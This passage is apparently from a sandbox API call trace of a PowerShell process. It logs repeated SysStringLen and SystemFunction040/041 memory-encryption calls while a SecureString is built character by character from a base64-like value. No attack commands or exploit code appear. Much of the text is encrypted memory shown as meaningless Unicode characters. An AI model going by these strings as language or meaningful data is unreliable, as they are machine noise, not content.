(param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅䖓킿ﮙꓯ䯯㭮ꈹ⊣) returned 0x30 [0257.651] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0257.652] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8HHT12VdVrEyJC+c蝱唵摋\䣘饊≮) returned 0x30 [0257.652] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0257.652] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅䖓킿ﮙꓯ䯯㭮ꈹ宣띷䐄⫖䈬≖) returned 0x30 [0257.652] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅䖓킿ﮙꓯ䯯㭮ꈹ宣띷䐄⫖䈬≖) returned 0x30 [0257.652] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0257.652] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8HHT12VdVrEyJC+cz唵摋\䣘饊≮) returned 0x30 [0257.652] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0257.652] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅䖓킿ﮙꓯ䯯㭮ꈹꆣ㚻짾憩갳ꮹ쌮죲≥) returned 0x30 [0257.652] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅䖓킿ﮙꓯ䯯㭮ꈹꆣ㚻짾憩갳ꮹ쌮죲≥) returned 0x30 [0257.652] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0257.652] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8HHT12VdVrEyJC+czE唵摋\䣘饊≮) returned 0x30 [0257.652] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0257.652] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅䖓킿ﮙꓯ䯯㭮ꈹ뢇㜕䤑뭉끽癏⊱) returned 0x30 [0257.652] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅䖓킿ﮙꓯ䯯㭮ꈹ뢇㜕䤑뭉끽癏⊱) returned 0x30 [0257.653] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0257.653] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8HHT12VdVrEyJC+czE=摋\䣘饊≮) returned 0x30 [0257.653] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0257.653] EtwEventActivityIdControl () returned 0x0 [0257.653] EtwEventActivityIdControl () returned 0x0 [0257.653] EtwEventActivityIdControl () returned 0x0 [0257.654] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.654] EtwEventActivityIdControl () returned 0x0 [0257.654] EtwEventActivityIdControl () returned 0x0 [0257.654] EtwEventActivityIdControl () returned 0x0 [0257.720] SysStringLen (param_1="") returned 0x8 [0257.720] SysStringLen (param_1="N") returned 0x8 [0257.720] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.721] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0257.721] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0257.721] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.721] SysStringLen (param_1="ND") returned 0x8 [0257.721] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.721] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0257.721] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0257.721] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.721] SysStringLen (param_1="NDZ") returned 0x8 [0257.721] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.721] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0257.721] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0257.722] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.722] SysStringLen (param_1="NDZl") returned 0x8 [0257.722] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.722] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0257.722] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0257.722] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.722] SysStringLen (param_1="NDZlO") returned 0x8 [0257.722] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.722] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0257.722] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0257.722] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.722] SysStringLen (param_1="NDZlOD") returned 0x8 [0257.723] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.723] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0257.723] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0257.723] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.723] SysStringLen (param_1="NDZlODR") returned 0x8 [0257.723] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.723] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0257.723] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0257.723] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.723] SysStringLen (param_1="NDZlODRm") returned 0x8 [0257.723] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.723] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0257.724] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0257.724] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0257.724] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0257.724] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.725] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0257.725] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.725] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0257.725] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0257.725] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.725] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0257.725] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.725] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0257.725] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0257.725] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.725] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0257.725] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.726] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0257.726] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0257.726] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.726] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0257.726] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.726] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0257.726] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0257.726] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.726] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0257.726] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.726] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0257.726] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0257.726] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.727] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0257.727] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.727] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0257.727] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0257.727] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.727] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0257.727] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.727] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0257.727] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0257.727] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.727] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0257.727] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.728] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0257.728] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0257.728] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0257.728] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0257.728] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.729] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0257.729] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.729] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0257.729] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0257.729] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.729] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0257.729] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.729] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0257.729] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0257.729] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.729] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0257.729] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.730] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0257.730] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0257.730] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.730] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0257.730] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.730] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0257.730] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0257.730] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.730] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0257.730] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.730] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0257.730] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0257.730] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.731] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0257.731] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.731] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0257.731] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0257.731] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.731] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0257.731] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.731] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0257.731] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0257.731] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.731] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0257.731] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.732] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0257.732] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0257.732] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0257.732] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0257.732] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.732] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0257.732] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.822] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0257.822] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0257.822] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.822] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0257.822] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.822] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0257.822] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0257.822] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.822] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0257.822] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.822] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0257.823] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0257.823] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.823] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0257.823] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.823] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0257.823] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0257.823] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.823] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0257.823] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.823] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0257.823] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0257.823] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.823] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0257.823] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.824] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0257.824] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0257.824] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.824] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0257.824] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.824] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0257.824] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0257.824] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.824] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0257.824] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.824] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0257.825] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0257.825] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0257.825] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0257.825] SystemFunction041 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.825] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0257.825] SystemFunction040 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.826] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0257.826] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0257.826] SystemFunction041 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.826] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0257.826] SystemFunction040 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.826] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0257.826] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0257.826] SystemFunction041 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.826] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0257.826] SystemFunction040 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.827] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0257.827] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0257.827] SystemFunction041 (in: 